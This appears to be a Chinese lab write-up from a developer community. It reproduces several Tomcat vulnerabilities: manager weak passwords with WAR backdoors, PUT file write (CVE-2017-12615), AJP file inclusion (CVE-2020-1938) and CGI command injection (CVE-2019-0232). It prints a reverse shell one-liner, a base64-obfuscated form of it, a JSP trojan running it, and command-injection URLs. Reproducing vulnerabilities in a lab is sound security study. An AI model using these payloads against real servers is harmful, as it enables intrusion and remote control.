前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Tomcat相关漏洞复现

Tomcat相关漏洞复现

原创
作者头像
Gh0st1nTheShel
发布2022-03-15 20:45:10
4920
发布2022-03-15 20:45:10
举报
文章被收录于专栏:网络空间安全网络空间安全

欢迎关注我的微信公众号《壳中之魂》观看更多网安文章

弱口令

管理后台链接:http://192.168.0.105:8080/manager/html

弱口令进去后就可以远程部署war包

可以通过将后门打包为war包

代码语言:javascript
复制
jar -cvf test.war .

上传后可以看到主页显示了刚才部署的包的名字

然后访问一下包里面的后门,如果没报错404说明正常,http://192.168.0.105:8080/hack/shell.jsp

接着使用shell管理工具链接即可

如果想要拿到meterpreter,可以直接使用msf的exploit/multi/http/tomcat_mgr_upload模块

暴力破解

在后台登录时,密码采用base64编码进行传输,所以可以通过抓取数据包

其中Authorization字段的值为Basic,说明为base64编码,dG9tY2F0OnRvbWNhdA==解码后为tomcat:tomcat,格式为账号:密码,我们可以使用BurpSuite进行暴力破解,对payload进行base64编码

但是以上两个漏洞都是有利用条件的,有一些会对ip做了限制,只有本地才可以访问后台,想要外部网络访问需要修改管理员权限和允许访问的ip

配置管理员权限账号

打开conf目录下的tomcat-users.xml文件,写入以下内容

接着再修改webapps/manager/META-INF/context.xml和/webapps/host-manager/META-INF/context.xml这两个文件

默认会是127,修改为\d+

注意:这个修改似乎和允许外部访问war包不是同一个设置

PUT方法任意文件写入(CVE-2017-12615)

漏洞产生原因为web.xml里将readonly设置为了false(默认为true),导致了可以通过PUT写入任意文件,但是不能直接传.jsp后缀的文件,但是可以进行绕过,如.jsp/

利用条件

经过实际测试,Tomcat 7.x 版本内 web.xml 配置文件内默认配置无 readonly 参数,需要手工添加,默认配置条件下不受此漏洞影响

影响范围

  • Apache Tomcat 7.0.0 - 7.0.81

复现

搭建环境:Vulhub - Docker-Compose file for vulnerability environment

搭建好环境后打开页面localhost:8080,然后使用burpsuite抓包

通过修改为PUT方法,可以直接写入文件

传入的URI必须的是/x.jsp/的格式,而不能是/x.jsp的格式

传入/x.jsp的会报404状态码

同时文件是没有被写入的

通用的绕过方法是使用/结尾,无论是linux或者是windows都可以绕过,如果是windows下还可以以::$DATA、%20空格等结尾

使用/结尾,响应码为201,说明成功写入,响应码如果为204也表示成功写入,但是说明原来存在相同文件名的文件,覆盖写入

此时访问/test.jsp

Tomcat AJP 文件包含漏洞(CVE-2020-1938)

该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控参数,通过可控参数可以导致文件包含漏洞。AJP协议使用率约为7.8%,鉴于Tomcat作为中间件被大范围部署在服务器上,该漏洞危害较大。

影响范围

  • Apache Tomcat 6
  • Apache Tomcat 7<7.0.100
  • Apache Tomcat 8<8.5.51
  • Apache Tomcat 9<9.0.31

复现

搭建环境:Vulhub - Docker-Compose file for vulnerability environment

访问ip:8080出现以下页面说明搭建成功,一般处理AJP协议的默认端口为8009,如果存在上传点,上传图片马也可获取shell

如果有的tomcat启动时并没有开启8009端口,这时可以打开tomcat/conf/server.xml,将

代码语言:javascript
复制
<Connector protocol="AJP/1.3" address="::1" port="8009" redirectPort="8443" />

解除注释

使用工具https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read

使用图片马getshell

代码语言:javascript
复制
bash -i >& /dev/tcp/192.168.3.47/6666 0>&1

转换的来的命令为

代码语言:javascript
复制
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuNDcvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

然后写为一个jsp木马

代码语言:javascript
复制
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuNDcvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

然后与图片复制为图片马,再讲图片马上传

然后按照流程,监听后直接文件包含就可以getshell

Apache Tomcat RCE(CVE-2019-0232)

此漏洞的成因是因为Java的Runtime.getRuntime.exec()在CGI调用下,Linux和Windows下实现不同,在Linux下不会产生此漏洞,而在Windows下,CreateProcess中的参数为bat文件或是cmd文件时,会调用cmd.exe,导致最后传入的参数为cmd.exe /c "xxx.bat & dir",而且在调用参数的过程中,Java没有进行任何的转义,导致命令执行

影响范围

  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93

条件

  • Windows系统
  • 开启了CGI Serverlet(默认不开启)
  • 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)

复现

首先先在Windows下搭建环境,启动Tomcat,接着需要修改配置

打开web.xml,将CGI相关的内容取消注释并进行修改

代码语言:javascript
复制
<servlet>
	<servlet-name>cgi</servlet-name>
	<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
	<init-param>
	  <param-name>debug</param-name>
	  <param-value>0</param-value>
	</init-param>
	<init-param>
	  <param-name>cgiPathPrefix</param-name>
	  <param-value>WEB-INF/cgi-bin</param-value>
	</init-param>
	<init-param>
	  <param-name>executable</param-name>
	  <param-value></param-value>
	</init-param>
	<load-on-startup>5</load-on-startup>
</servlet>

下面的也要解除注释,否则访问cgi目录时会显示404

接着修改context.xml,添加privileged="true" ,否则会没有权限

最后在apache-tomcat-8.5.39\webapps\ROOT\WEB-INF目录下新建一个cgi-bin目录,创建一个hack.bat文件,此文件就是用来执行的命令,内容如下

代码语言:javascript
复制
@echo off
echo Content-Type: text/plain
echo .
set foo=%~1
%foo%

攻击时就访问以下链接

代码语言:javascript
复制
http://localhost:8080/cgi-bin/hack.bat?%26c%3a%5cwindows%5csystem32%5ccalc.exe
代码语言:javascript
复制
http://localhost:8080/cgi-bin/hack.bat?%26c%3a%5cwindows%5csystem32%5cnet.exe%20user

不过这两个来链接被浏览器执行完后会自动把反斜杠解码,所以在读取就会导致报错,所以要重新复制链接运行

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 弱口令
  • 暴力破解
  • PUT方法任意文件写入(CVE-2017-12615)
  • Tomcat AJP 文件包含漏洞(CVE-2020-1938)
  • Apache Tomcat RCE(CVE-2019-0232)
相关产品与服务
消息队列 TDMQ
消息队列 TDMQ (Tencent Distributed Message Queue)是腾讯基于 Apache Pulsar 自研的一个云原生消息中间件系列,其中包含兼容Pulsar、RabbitMQ、RocketMQ 等协议的消息队列子产品,得益于其底层计算与存储分离的架构,TDMQ 具备良好的弹性伸缩以及故障恢复能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档